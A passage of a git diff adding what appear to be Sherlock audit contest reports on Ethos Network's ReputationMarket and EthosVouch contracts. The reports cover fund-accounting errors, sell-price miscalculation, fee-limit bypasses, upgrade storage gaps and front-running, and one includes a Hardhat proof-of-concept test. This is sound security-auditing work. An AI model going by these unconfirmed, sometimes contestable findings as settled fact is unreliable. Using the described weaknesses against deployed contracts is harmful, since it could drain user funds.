contracts are meant to be upgradeable. However, it inherits contracts that are not upgrade-safe. + +The `AccessControl` and `SignatureControl` , `EthosVouch` , `ReputatoinMarket` are contracts written by Ethos team, and contain storage slots but there are no gaps implemented. + +### Internal pre-conditions + +If admin performs an upgrade and wants to add another storage slot in AccessControl or SignatureControl, EthosVouch, ReputatoinMarket contracts, the storage slot would mess up. + +### External pre-conditions + +N/A + +### Attack Path + +N/A + +### Impact + +Storage of vault contracts might be corrupted during upgrading. + +### PoC + +N/A + +### Mitigation + +1. Add gaps in AccessControl, SignatureControl, EthosVouch, ReputationMarket diff --git a/602.md b/602.md new file mode 100644 index 0000000..f9d29af --- /dev/null +++ b/602.md @@ -0,0 +1,184 @@ +Teeny Smoke Grasshopper + +High + +# The wrong increased amount of `marketFunds` in `buyVotes` will lead to withdrawal of a higher amount of ETH when calling `withdrawGraduatedMarketFunds` + +### Summary + +The wrong increased amount of `marketFunds` in `buyVotes` will lead to withdrawal of a higher amount of ETH when calling `withdrawGraduatedMarketFunds`withdrawal + +### Root Cause + +In `buyVotes`, the `marketFunds` is increased by `fundsPaid` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, +>> uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + ... + + // tally market funds +>> marketFunds[profileId] += fundsPaid; + ... + } +``` + +The problem here is in the calculation of `_calculateBuy`, `fundsPaid` also includes `protocolFee` and `donation` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 + +This means an increased amount of `marketFunds` includes `protocolFee` and `donation`. + +Since the `protocolFee` is credited to the protocol, and the `donation` is credited to the market creator, `marketFunds` will store an inflated amount of funds. + +This wrong accounting of `marketFunds` will lead to the protocol withdrawing more than the amount of expected ETH when calling `withdrawGraduatedMarketFunds` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L675 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A market is created +2. Users buy votes via `buyVotes` +3. The market is graduated +4. The protocol calls `withdrawGraduatedMarketFunds` + +### Impact + +- Loss of funds. The protocol will withdraw a higher amount of ETH when calling `withdrawGraduatedMarketFunds`. This means the `ETH` from other markets is taken by the protocol. +- Insolvency. There would be not enough funds in the `ReputationMarket` for withdrawing from the last graduated market. + +### PoC + +1. Create `PoC.test.ts` in `test/reputationMarket` +2. Run `NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test test/reputationMarket/PoC.test.ts` + +`PoC.test.ts`: + +```solidity + +import hre from 'hardhat'; +import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js'; +import { use } from 'chai'; +import chaiAsPromised from 'chai-as-promised'; +import { type ReputationMarket } from '../../typechain-types/index.js'; +import { type EthosUser } from '../utils/ethosUser.js'; +import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js'; +import { DEFAULT } from './utils.js'; + +/* eslint-disable react-hooks/rules-of-hooks */ +use(chaiAsPromised as Chai.ChaiPlugin); +const { ethers } = hre; + +describe('PoC', () => { + let deployer: EthosDeployer; + let marketUser : EthosUser, alice: EthosUser; + let reputationMarket: ReputationMarket; + + beforeEach(async () => { + deployer = await loadFixture(createDeployer); + + if (!deployer.reputationMarket.contract) { + throw new Error('ReputationMarket contract not found'); + } + [marketUser, alice] = await Promise.all([ + deployer.createUser(), + deployer.createUser(), + ]); + await Promise.all([alice.setBalance('1')]); + + reputationMarket = deployer.reputationMarket.contract; + DEFAULT.reputationMarket = reputationMarket; + DEFAULT.profileId = marketUser.profileId; + + await reputationMarket + .connect(deployer.ADMIN) + .createMarketWithConfigAdmin(marketUser.signer.address, 0, { + value: DEFAULT.initialLiquidity, + }); + + await reputationMarket.connect(deployer.ADMIN).setProtocolFeeAddress(deployer.ADMIN.getAddress()); + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(100n); + }); + + it('PoC', async() => { + console.log("Protocol Fee Basis Points: ", await reputationMarket.entryProtocolFeeBasisPoints()); + + await reputationMarket.connect(alice.signer).buyVotes(DEFAULT.profileId, true, 1, 0, {value: ethers.parseUnits("0.006", "ether")}); + + console.log("Contract's balance: ", await ethers.provider.getBalance(await reputationMarket.getAddress())); + console.log("marketFunds[profileId]: ", await reputationMarket.marketFunds(DEFAULT.profileId)); + }) +}); +``` + +Logs + +```bash +Protocol Fee Basis Points: 100n +Contract's balance: 25000000000000000n +marketFunds[profileId]: 25060000000000000n +``` + +The value `marketFunds[profileId]` is larger than the contract's balance. + +If the market is graduated, and the protocol withdraws the market funds from the contract, then there would be not enough ETH in the contract to withdraw. + +### Mitigation + +Exclude `protocolFee` and `donation` when increasing `marketFunds` in `buyVotes` + +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + ... + // tally market funds +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += fundsPaid - protocolFee - donation; + ... + } +``` \ No newline at end of file diff --git a/603.md b/603.md new file mode 100644 index 0000000..8d4700b --- /dev/null +++ b/603.md @@ -0,0 +1,43 @@ +Damp Shamrock Viper + +Medium + +# Maximum fees to be set is not checked in the initialize function allowing MAX_TOTAL_FEES to be ignored + +### Summary + +The missing check for setting fees and the invariant of the fees hitting a hardcoded limit of MAX_TOTAL_FEES can be easily bypassed from the `initialize` function. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L282-L285 + +We can see that the initial fee amount can be set to an amount that completely ignores the hardcoded limits of the `MAX_TOTAL_FEES` constant. This will break the protocol and make a re-deployment necessary because if the values are set in such a way that just the sum of three fees at a time surpasses the limit. The fee can never be set to another value. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L1003 + +This happens because the new fees can be set to zero and it'll still revert because the existing fees are already over the limit even without the new fee variable's value. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The protocol breaks and needs re-deployment because of a potential mistake in setting the initial fee values. + +### PoC + +_No response_ + +### Mitigation + +Check if the addition of the fee variables surpass the expected limit in the `initialize` function as well. \ No newline at end of file diff --git a/604.md b/604.md new file mode 100644 index 0000000..2999646 --- /dev/null +++ b/604.md @@ -0,0 +1,29 @@ +Petite Chili Goose + +Medium + +# Unexpected Fund Reduction When Vouching for a Profile + +## Summary +When a user (e.g., Alice) vouches for a profileId, part of her vouched amount is allocated to the previous voucher for the same profile. This creates a vulnerability where an attacker (e.g., Bob) can front-run Alice's transaction, becoming the prior voucher, and taking a higher fee from Alice than she anticipated. + +## Vulnerability Detail +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L330-L334 +The function lacks a slippage protection check, leaving Alice vulnerable to unexpected reductions in her vouched amount due to front-running. +## Impact +Users may lose confidence in the protocol due to unpredictable fund reductions, which could harm the protocol's reputation and adoption. +## Code Snippet +```solidity + function vouchByProfileId( + uint256 subjectProfileId, + string calldata comment, + string calldata metadata +) public payable whenNotPaused nonReentrant { + ... +} +``` +## Tool used +Manual Review + +## Recommendation +Implement a slippage check in vouchByProfileId, allowing users to specify a minimum toDeposit amount. Revert the transaction if the actual deposit falls below this minimum. \ No newline at end of file diff --git a/605.md b/605.md new file mode 100644 index 0000000..3179bfc --- /dev/null +++ b/605.md @@ -0,0 +1,92 @@ +Agreeable Grape Llama + +High + +# Incorrect price calculation when selling votes + +### Summary + +When selling votes the amount the seller receives is not the price at the moment of the sale, but rather the adjusted amount after the sale of the vote is taken into account. + +### Root Cause + +In [ReputationMarket.sol:1036](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1036-L1037) the amount of votes is decreased before calculating the price of the current vote. As a result the seller is credited with a lower amount than his vote was worth. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A user calls [ReputationMarket::sellVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) + +### Impact + +Let's assume we have an active market with the Default MarketConfiguration - 1 TRUST vote, 1 DISTRUST vote, 0.01 ETH basePrice and the following scenario: + +1. A user buys one TRUST vote and now the market has 2 TRUST, 1 DISTRUST votes resulting in 3 in total. +2. The user decides to sell his vote and the price should be calculated in the [_calcVotePrice()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920) function the following way: +```(1 * 0.01ETH)/3``` +but instead we first decrement the vote count and get a different equation: +```(1 * 0.01ETH)/2``` + +The price that the user receives for his vote is 3333333333333333wei instead of 5000000000000000wei ~ 0.0017ETH less! + + + +### PoC + +_No response_ + +### Mitigation + +```diff +function _calculateSell( + Market memory market, + uint256 profileId, + bool isPositive, + uint256 amount + ) + private + view + returns ( + uint256 votesSold, + uint256 fundsReceived, + uint256 newVotePrice, + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 votesAvailable = votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST]; + + if (votesAvailable < amount) { + revert InsufficientVotesOwned(profileId, msg.sender); + } + + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + +- market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); ++ market.votes[isPositive ? TRUST : DISTRUST] -= 1; + fundsReceived += votePrice; + votesSold++; + } + (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } +``` \ No newline at end of file diff --git a/606.md b/606.md new file mode 100644 index 0000000..2010765 --- /dev/null +++ b/606.md @@ -0,0 +1,45 @@ +Recumbent Cerulean Fish + +Medium + +# calcFee() function calculates less fees for the protocol and previous vouchers bcs of rounding down + +### Summary + +in EthosVouch.sol:calcFee we calculating fee usin Oz Math lib with Math.Rounding.Floor, which rounding down our output amount leading protocol and previous vouchers to receive less fees. + +### Root Cause + +EthosVouch.sol:calcFee() +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +each time we calculating fee we losing eth + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +ensure you are using Math.Rounding.Ceil option within calcFee() mulDiv function \ No newline at end of file diff --git a/607.md b/607.md new file mode 100644 index 0000000..d1b4c2a --- /dev/null +++ b/607.md @@ -0,0 +1,51 @@ +Long Gunmetal Salmon + +Medium + +# Corruptible Contract's Upgradeability + +### Summary + +Storage of (EthosVouch, ReputationMarket) might be corrupted during an upgrade. + +### Root Cause + +The project uses OpenZeppelin version 5, which employs a structured storage schema. However: + +1. Custom base contracts deviate from this pattern, defining variables at the contract level. +2. The inheritance hierarchy is overly complex, relying on multiple inheritance. +3. It mixes upgradable and non-upgradable OpenZeppelin components, causing storage inconsistencies. +4. Proxy contract reliance makes updating base contracts risky due to potential storage misalignment. + +These issues undermine the project's upgradability. + +### Internal Pre-Conditions + +If an administrator initiates an upgrade and attempts to add a new storage slot to any of these contracts (e.g., AccessControl, SignatureControl, EthosVouch, or ReputationMarket), it could lead to misalignment of storage and potential corruption. + +### External Pre-Conditions + +No external conditions are applicable. + +### Attack Path + +Not applicable in this context. + +### Impact + +These factors create a fragmented upgradeability model, which may lead to significant issues when performing contract upgrades. Updating underlying contracts may lead to inconsistencies in the data stored in the proxy contract storage. +### Proof of Concept (PoC) + +Below is the inheritance diagram for `EthosVouch`, `ReputationMarket` + +```mermaid +graph BT; + classDef nogap fill:#f96; + AccessControl:::nogap-->SignatureControl:::nogap + EthosVouch:::nogap-->AccessControl:::nogap + ReputationMarket:::nogap-->AccessControl:::nogap +``` +### Mitigation + +To resolve the issue +- Ensure structured storage usage across all base contracts. \ No newline at end of file diff --git a/608.md b/608.md new file mode 100644 index 0000000..b9e9379 --- /dev/null +++ b/608.md @@ -0,0 +1,53 @@ +Quick Holographic Canary + +Medium + +# Maximum total fees can exceed 10% + +### Summary + +The `MAX_TOTAL_FEES` constant in `EthosVouch.sol` is set to an invalid value, which could cause the max fee to exceed more than 10%. + +[MAX_TOTAL_FEES](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120-L121) + + + +### Root Cause + +The value of `MAX_TOTAL_FEES` is set to the same as `BASIS_POINT_SCALE`, which sets the max total fee limit to 100% instead of 10%. This allows admins to set fees greater than 10%. + +The function `checkFeeExceedsMaximum` uses `MAX_TOTAL_FEES` to validate the fees if it exceeds the allowed limit. + +[checkFeeExceedsMaximum](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996-L1004) + +### affected functions +`setEntryProtocolFeeBasisPoints` +`setEntryVouchersPoolFeeBasisPoints` +`setExitFeeBasisPoints` + + + +### Internal pre-conditions + +Only admins can call the affected functions. + +### External pre-conditions + +_No response_ + +### Attack Path + +If admins accidentally set fees higher than 10%, the logic will automatically allow it, which could affect the users. + + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/609.md b/609.md new file mode 100644 index 0000000..3db4c1f --- /dev/null +++ b/609.md @@ -0,0 +1,57 @@ +Young Felt Cobra + +High + +# seller will get less amount then intended + +### Summary + +The `sellVotes` functionality is intended to calculate the selling price of votes dynamically. +The calculation involves: + +- Determining the current price of a vote based on the existing vote count. +- Adjusting the vote count after each vote sale. +- Recalculating the price after the updated count to reflect the reduced vote value. +This mechanism is designed to ensure that selling votes mirrors the behavior of buying votes, where the price is updated based on the current vote count after every transaction. + + +### Root Cause +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1026 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +The `_calculateSell` function exhibits a logical flaw in how it calculates and accumulates the funds received during the sale of votes. Below is a breakdown of the issue: + +**Current Implementation Logic** + +- The function first calculates the current vote price based on the existing vote count. +- It then decreases the vote count without adding the vote's current price to fundsReceived. +- The vote price is recalculated with the updated vote count, and only then is fundsReceived increased by the recalculated price. +- This process continues in a loop for the number of votes sold. + +**Flaw in the Calculation** + +- The first vote sold does not account for the current price of the vote; instead, the seller receives funds based on the price after the count is decremented. +- As the price decreases with every vote sold, the seller receives less ETH than they should. + +### Impact + +- The seller is underpaid as the calculation ignores the current price of the vote during the first iteration. +- The decreasing price per vote further compounds the underpayment issue, leading to a cumulative shortfall in the ETH received by the seller. + +### PoC + +_No response_ + +### Mitigation + +- The protocol should ensure that the current price of the vote is considered and that `fundReceived` is updated accordingly before reducing the vote count. +- The calculation for buying votes is accurate, so refer to it as a reference. \ No newline at end of file diff --git a/610.md b/610.md new file mode 100644 index 0000000..8133b89 --- /dev/null +++ b/610.md @@ -0,0 +1,68 @@ +Curly Lava Alligator + +Medium + +# Reputation Market Owner can malciously increase their reputation and take all the profit as well. + +### Summary + +Market Owner can take all the profits by predicting that their Market Reputation increase or not. As they can buy or sell votes themselves. + +### Root Cause + +As `buyVotes::ReputationMarket.sol` and `sellVotes::ReputationMarket.sol` does not check that buyer or seller is Market owner, It allows Market Owner to Buy or sell their votes themselves in a way that increase their reputation. + + + +### Internal pre-conditions + +## Attack Path + +1. Market Owner create a market for themselves that benefits them by predicting their reputation. +2. Owner buys trust votes and increase their Reputation, and gains votes and also the funds goes to owners. +3. When the Reputation goes down, it can sell distrust votes to gain the reputation back. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +add checks that market owner cannot buy or sell votes. + +```diff + function buyVotes( + uint256 profileId, + bool isPositive, // e true for trust Right? + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); ++ uint256 _profileId = _getProfileIdForAddress(marketOwner); ++ if (profileId == _profileId) revert MarketOwnerCannotBuy(); +} +``` + +```diff + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); ++ uint256 _profileId = _getProfileIdForAddress(marketOwner); ++ if (profileId == _profileId) revert MarketOwnerCannotBuy(); +} +``` \ No newline at end of file diff --git a/611.md b/611.md new file mode 100644 index 0000000..57182f3 --- /dev/null +++ b/611.md @@ -0,0 +1,88 @@ +Lively Red Skunk + +High + +# Wrong Price Being Reported + +### Summary + +`ReputationMarket::_calculateSell` reports wrong `fundsReceived` due to incorrect vote price being inserted. + + +### Root Cause + +`ReputationMarket::_calculateSell` is used in `simulateSell`, and `sellVotes`. This function is being used to calculate the amount of funds received to be transferred to the seller. However there is a vulnerabilities where `fundsReceived` using the new vote price which is calculated after the votes has been decremented rather than past vote price which uses the actual state before the votes decremented. This will result an inaccurate price. + +Using the new vote price rather than past price will result a big loss for the seller because he will receive less amount due to incorrect price. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1038 + +```solidity + function _calculateSell(Market memory market, uint256 profileId, bool isPositive, uint256 amount) private view returns (uint256 votesSold, uint256 fundsReceived, uint256 newVotePrice, uint256 protocolFee, uint256 minVotePrice,uint256 maxVotePrice) { + _; + +@> uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; +@> votePrice = _calcVotePrice(market, isPositive); +@> fundsReceived += votePrice; + votesSold++; + } + _; + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +No Attack Required + +### Impact + +The seller will get less amount of money because of the wrong price being reported. + + +### PoC + +_No response_ + +### Mitigation + +```diff + function _calculateSell(Market memory market, uint256 profileId, bool isPositive, uint256 amount) private view returns (uint256 votesSold, uint256 fundsReceived, uint256 newVotePrice, uint256 protocolFee, uint256 minVotePrice,uint256 maxVotePrice) { + _; + + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + ++ fundsReceived += votePrice; + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); +- fundsReceived += votePrice; + votesSold++; + } + _; + } +``` \ No newline at end of file diff --git a/612.md b/612.md new file mode 100644 index 0000000..ea4b459 --- /dev/null +++ b/612.md @@ -0,0 +1,51 @@ +Scruffy Berry Ape + +High + +# Attacker can manipulate reputation prices in default tier affecting market integrity + +### Summary + +The choice to use a simple bonding curve with low initial votes is a mistake as it allows attackers to manipulate reputation prices, impacting the integrity of the market. An attacker will exploit the low liquidity and vote count in the Default tier to create artificial price swings. + +### Root Cause + +The choice to use a simple bonding curve with only 1 initial vote for trust and distrust in the Default tier is a mistake as it allows for significant price manipulation with minimal effort. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L219 + +### Internal pre-conditions + +1. The Default tier market configuration sets `initialVotes` to exactly 1 for both trust and distrust. +2. The Default tier market configuration sets `initialLiquidity` to exactly 0.02 ETH. + +### External pre-conditions + +The market must be newly created with no additional trades affecting the initial state. + +### Attack Path + +1. Attacker calls `buyVotes` to purchase 9 trust votes, significantly increasing the trust price. +2. Attacker calls `buyVotes` to purchase 4 distrust votes, causing a large drop in distrust price. +3. Attacker calls `buyVotes` again to purchase more trust votes at the now lower price. +4. Attacker repeats the process to profit from the price differential. + +### Impact + +The market suffers a loss of integrity as reputation prices no longer reflect genuine sentiment. The attacker gains by exploiting price swings, potentially profiting from arbitrage opportunities. + +### PoC + +1. A new market is created with the Default tier configuration. +2. Initial state: 1 trust vote, 1 distrust vote, 0.02 ETH liquidity. +3. Attacker buys 9 trust votes, changing the ratio to 10:1. +4. Trust price increases significantly, distrust price drops. +5. Attacker buys 4 distrust votes, changing the ratio to 10:5. +6. Trust price drops, allowing the attacker to buy more trust votes cheaply. +7. Attacker repeats the cycle, profiting from the manipulated price swings. + +### Mitigation + +1. Increase the initial votes in the Default tier to at least 100 for both trust and distrust. +2. Implement a time-weighted average price mechanism to reduce the impact of rapid trades. +3. Introduce a minimum time delay between large trades to prevent rapid manipulation. +4. Consider increasing initial liquidity to provide more price stability. \ No newline at end of file diff --git a/613.md b/613.md new file mode 100644 index 0000000..ed8b29f --- /dev/null +++ b/613.md @@ -0,0 +1,93 @@ +Teeny Smoke Grasshopper + +Medium + +# Missing an updating step for `isParticipant` in `sellVotes` will cause the mapping `isParticipant` can not be used for checking if a participant sold all their votes + +### Summary + +Missing an updating step for `isParticipant` in `sellVotes` will cause the mapping `isParticipant` can not be used for checking if a participant sold all their votes. + +### Root Cause + +In `ReputationMarket`, it is from the code comments that the mapping `isParitcipant` is used for checking if a participant sold all their votes + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L120 + +```solidity + // profileId => participant address + // append only; don't bother removing. Use isParticipant to check if they've sold all their votes. +``` + +However, the mapping `isParitcipant` is not set to false if a participant sold all their votes in `sellVotes` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + +>> // If `votesOwned` is equal to zero, then `isParticipant` should be set false here + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The mapping `isParticipant` can not be used to check if a participant sold all their votes. + +### PoC + +_No response_ + +### Mitigation + +Update the `isParticipant` mapping in `sellVotes`. \ No newline at end of file diff --git a/614.md b/614.md new file mode 100644 index 0000000..f633c9a --- /dev/null +++ b/614.md @@ -0,0 +1,78 @@ +Lively Red Skunk + +High + +# Protocol's Money Drained Mistakenly + +### Summary + +The vulnerability occurs in the `ReputationMarket::sellVotes` function where marketFunds[profileId] is incorrectly subtracted by the amount excluding the protocol fee. This creates a scenario where marketFunds does not reflect the correct total, potentially allowing an authorized address to withdraw incorrect amounts when calling withdrawGraduatedMarketFunds. + +### Root Cause + +`marketFunds` is a variable that is being used to store the total funds currently invested in each market. Therefore, `marketFunds` is also used as a total funds to be withdrawn in case of graduated market. The variable only updated when new market has created, new votes has been bought, and votes sold. + +When new market is created, it updates the `marketFunds` to `initialLiquidityRequired`. When someone buy votes for spesific market, the `marketFunds` is added with `fundsPaid` (total votePrice + protocol fee + donation). However, the problem is `marketFunds[profileId]` in `ReputationMarket::sellVotes` is substracted with amount that has been substracted with protocol fee that has been sent to the protocol fee address. + +This vulnerabilities will allow authorized address to incorrectly withdraw the protocol fee by calling `withdrawGraduatedMarketFunds`. + +Scenario : + +1. New market has created. `marketFunds` is set to `initialLiquidityRequired`. +2. Some user buy votes for spesific profile id. `marketFunds` added with (total votePrice + protocol fee + donation). +3. The same user sold their votes. `marketFunds` substracted with (total votePrice - protocol fee - donation). +4. `marketFunds` is left with `initialLiquidityRequired` + (amount left from 2 and 3 scenario). +5. The market graduated. +6. Authorized address calls `withdrawGraduatedMarketFunds` with `marketFunds` as total amount. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522 + +```solidity + function sellVotes(uint256 profileId, bool isPositive, uint256 amount) public whenNotPaused activeMarket(profileId) nonReentrant { + _; + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds +@> marketFunds[profileId] -= fundsReceived; + + emit VotesSold(profileId, msg.sender, isPositive, votesSold, fundsReceived, block.timestamp, minVotePrice,maxVotePrice); + _; + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +No Attack Required + + +### Impact + +1. If there are ETHs left in the protocol, then those ETHs will be mistakenly used to withdraw the graduated market funds to the authorized address and will lead to money loss for the protocol. +2. If there are no ETHs left in the protocol, then withdraw graduated market mechanism will simply fail. + +### PoC + +_No response_ + +### Mitigation + +Since this is pretty subjective, here is my recommendation: + +1. Add protocol fee and donation to be substracted in `marketFunds` when user decide to sell their votes. +2. Protocol fee and donation aren't added to `marketFunds` when user decide to buy votes. \ No newline at end of file diff --git a/615.md b/615.md new file mode 100644 index 0000000..b0652d8 --- /dev/null +++ b/615.md @@ -0,0 +1,50 @@ +Amusing Chiffon Sawfish + +Medium + +# Possibility for storage collision when upgrading + +### Summary + +The `EthosVouch` and `ReputationMarket` are meant to be UUPS-upgradeable. But by current logic, this can cause some issues in case of upgrade. + +### Root Cause + +The forementioned contracts are meant to be upgradeable, but currently they inherit contracts that are not safe-upgradeable. + +The `EthosVouch` and `ReputationMarket` should inherit `ReentrancyGuardUpgradeable` instead of the non-upgradeable `ReentrancyGuard`. + +Reference from [OZ](https://docs.openzeppelin.com/contracts/5.x/upgradeable) + +One problem is that non-upgradeable `ReentrancyGuard`, lacks proxy-compatible storage layout, which is necessary for UUPSUpgradeable contracts. Because if the reentrancy guard contract is meant to be upgraded, the new logic will not apply here. + +Also these contracts are missing storage gaps, including the inherited ones like `AccessControl` and `SignatureControl` which is inherited by `AccessControl`. This is necessary since both of them contain storage slots. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L11 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L8 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +If deployers perform an upgrade action and a new storage slot is added, this will result in storage collision, because the gaps will be shifted. This applies for all contracts that which occupy storage slots. + +### PoC + +_No response_ + +### Mitigation + +1. Use the upgradeable version of reentrancy guard +2. Add storage gaps in the parent and children contracts. \ No newline at end of file diff --git a/616.md b/616.md new file mode 100644 index 0000000..8fb1976 --- /dev/null +++ b/616.md @@ -0,0 +1,97 @@ +Suave Ceramic Crane + +Medium + +# `EthosVouch::markUnhealthy` doesn't check if **author** and **subject** are mutually vouched. + +### Summary + +According to the [official docs](https://whitepaper.ethos.network/ethos-mechanisms/vouch#mutual-respect), an `author` of a vouch (to an arbitrary subject) can mark it as **unhealthy** if and only if the two are mutually vouched. This doesn't necessarily happen because `markUnhealthy` function is missing a check to see if an `author` and a `subject` are mutually vouched. Right now, just checks to see if `author` has a valid vouch to the `subject`. And with that no 